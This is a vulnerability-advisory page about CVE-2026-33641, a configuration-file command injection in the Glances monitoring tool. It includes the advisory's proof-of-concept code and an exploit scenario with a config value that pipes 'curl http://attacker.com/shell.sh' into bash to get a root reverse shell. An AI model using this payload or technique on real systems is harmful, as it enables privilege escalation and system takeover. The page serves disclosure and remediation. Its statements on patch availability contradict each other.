Skip to main content

Python CVE-2026-33641

HIGH
OS Command Injection (CWE-78)
2026-03-30 https://github.com/nicolargo/glances GHSA-qhj7-v7h7-q4c7
7.8
CVSS 3.1 · Vendor: https://github.com/nicolargo/glances
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Modify Glances config file with backtick commands
  2. Exploit
    Glances parses config during startup
  3. Execution
    Execute arbitrary system commands
  4. Impact
    Gain privileges of Glances process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must modify Glances configuration files (e.g., glances.conf) to inject backtick-enclosed system commands. Requires local access with privileges to write configuration files. Exploitation occurs automatically during Glances startup or configuration reload. Risk amplified if Glances runs as system service with elevated privileges.

Impact

Real-world risk is moderate to high depending on deployment context. The CVSS vector (AV:L/AC:L/PR:L/UI:N) indicates local attack requiring low privileges with low complexity and no user interaction, resulting in complete system compromise (C:H/I:H/A:H). However, exploitation requires pre-existing write access to Glances configuration files, significantly limiting the attack surface compared to remote vulnerabilities. Risk escalates dramatically in multi-user systems with permissive file permissions, containerized deployments with mounted config volumes, or when Glances runs as a privileged systemd service. The publicly available exploit code in GitHub advisory GHSA-qhj7-v7h7-q4c7 lowers the technical barrier for attackers. No EPSS score or CISA KEV status indicates this is not yet widely exploited in the wild. Primary risk scenarios include lateral movement after initial compromise, privilege escalation in shared hosting environments, and supply chain attacks via configuration management systems ingesting untrusted data. Organizations running Glances with default permissions on single-user workstations face minimal risk, while production monitoring infrastructure with elevated privileges requires immediate patching.

Exploit ScenarioDerived

An attacker gains low-privileged shell access to a Linux server running Glances as a systemd service with root privileges for comprehensive system monitoring. The attacker discovers the Glances configuration directory /etc/glances/ has overly permissive group-write permissions due to misconfiguration. They create a malicious glances.conf file containing url_prefix='curl http://attacker.com/shell.sh | bash' and place it in /etc/glances/conf.d/. When the system administrator or automated monitoring restarts the Glances service, the configuration parser automatically executes the embedded curl command as root during startup, downloading and executing a reverse shell script that establishes persistent root access. Publicly available exploit code exists demonstrating the injection technique.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 30, 2026

Command injection in Glances Python monitoring tool allows local authenticated users to execute arbitrary system commands via malicious configuration files. Attackers with write access to Glances configuration files can embed shell commands in backtick-enclosed strings that execute automatically during config parsing with the privileges of the Glances process. In environments where Glances runs as a system service with elevated privileges, this enables privilege escalation from low-privileged user to root. CVSS 7.8 (High) with local attack vector requiring low privileges. Public exploit code exists in the advisory. EPSS data not available, not listed in CISA KEV.

RemediationAI

Apply vendor-released security patches from the official Glances GitHub repository at https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7. Specific patched version numbers are not provided in available data; consult the advisory for exact fix versions and upgrade via pip using 'pip install --upgrade glances'. As interim mitigation, restrict write access to Glances configuration files using filesystem permissions (chmod 600 for user configs, restrictive ACLs for system paths), ensuring only trusted administrators can modify glances.conf files. Remove or disable the dynamic command substitution feature if not required by commenting out backtick processing logic in config.py. Avoid running Glances with elevated privileges unless necessary; use capability-based permissions (setcap) instead of running as root. In containerized environments, mount configuration directories as read-only volumes. Audit existing configuration files for suspicious backtick-enclosed commands using 'grep -r \` /etc/glances/ ~/.config/glances/' before applying patches.

Affected Packages

pypi glances fix: 4.5.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Glances is a cross-platform system monitoring tool written in Python (pkg:pip/glances). The vulnerability stems from CWE-78 (OS Command Injection) in the configuration parsing logic. The Config.get_value() method in glances/config.py uses regex pattern matching to identify backtick-enclosed substrings in configuration values, then passes extracted commands directly to system_exec() in glances/globals.py without sanitization. The system_exec() function executes commands via subprocess.run() with shell word splitting, replacing the configuration value with command output. This dynamic substitution feature operates on any configuration file loaded from user directories, system paths, or custom locations specified via the -C flag. The lack of input validation, command whitelisting, or privilege checks creates an injection point exploitable by anyone with filesystem write access to configuration directories.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nicolargo/glances) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
SUSE HIGH

Primary rating from Vendor (https://github.com/nicolargo/glances).

CVSS VectorVendor: https://github.com/nicolargo/glances

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

Glances supports dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.get_value() and is implemented without validation or restriction of the executed commands.

If an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation.

Details

  1. Glances loads configuration files from user, system, or custom paths during initialization.
  2. When retrieving a configuration value, Config.get_value() scans for substrings enclosed in backticks.

File: glances/config.py

match = self.re_pattern.findall(ret)
for m in match:
    ret = ret.replace(m, system_exec(m[1:-1]))
  1. The extracted string is passed directly to system_exec().

File: glances/globals.py

sh
res = subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode('utf-8')
  1. The command is executed and its output replaces the original configuration value.

This execution occurs automatically whenever the configuration value is read.

Affected Files

glances/config.py - dynamic configuration parsing

glances/globals.py - command execution helper

Proof of Concept (PoC)

Scenario: Arbitrary command execution via configuration value

Step 1 - Create malicious configuration file

sh
/tmp/glances.conf

add below txt on the file

[outputs]
url_prefix = 'id'

Step 2 - Launch Glances with custom configuration

sh
glances -C /tmp/glances.conf

Step 3 - Observe behavior

When Glances reads the configuration:

  • The command inside backticks is executed
  • Output replaces the configuration value
  • Execution occurs without user interaction

Reproduce using Python code

import subprocess
import re

def system_exec(command):
    return subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode().strip()

value = "`id`"
pattern = re.compile(r'(`.+?`)')

for m in pattern.findall(value):
    print(system_exec(m[1:-1]))

Output:

uid=1000(user) gid=1000(user) groups=1000(user)

Impact

Arbitrary Command Execution

Any command enclosed in backticks inside a configuration value will execute with the privileges of the Glances process.

Potential Privilege Escalation

If Glances runs as a privileged service (e.g., root), commands execute with those privileges.

Possible scenarios include:

  • Misconfigured file permissions allowing unauthorized config modification
  • Shared systems where configuration directories are writable by multiple users
  • Container environments with mounted configuration volumes
  • Automated configuration management systems that ingest untrusted data

Executive ViewAI

Why It Matters

CVE-2026-33641 is a command injection vulnerability in the Glances monitoring tool that allows authenticated local users to execute arbitrary commands through malicious configuration files, with potential for privilege escalation if Glances runs with elevated system privileges. Organizations using Glances as a system service should immediately assess exposure, as attackers with write access to configuration directories can gain elevated access matching the service's privilege level.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict write permissions on Glances configuration directories to root/service account only; deny write access to all other users and groups. (2) Run Glances with minimal necessary privileges; avoid running as root unless absolutely required. (3) Implement file integrity monitoring on configuration files to detect unauthorized modifications. (4) Use SELinux or AppArmor profiles to restrict command execution capabilities of the Glances process. (5) Monitor process execution logs for suspicious child processes spawned by Glances.

Threat Intelligence Overview

EPSS Score
0.0%
Top 95% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
8 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor Exploit-DB GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

59
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Affected Products (CPE)CVE.org

pkg:pip/glances

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: High
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy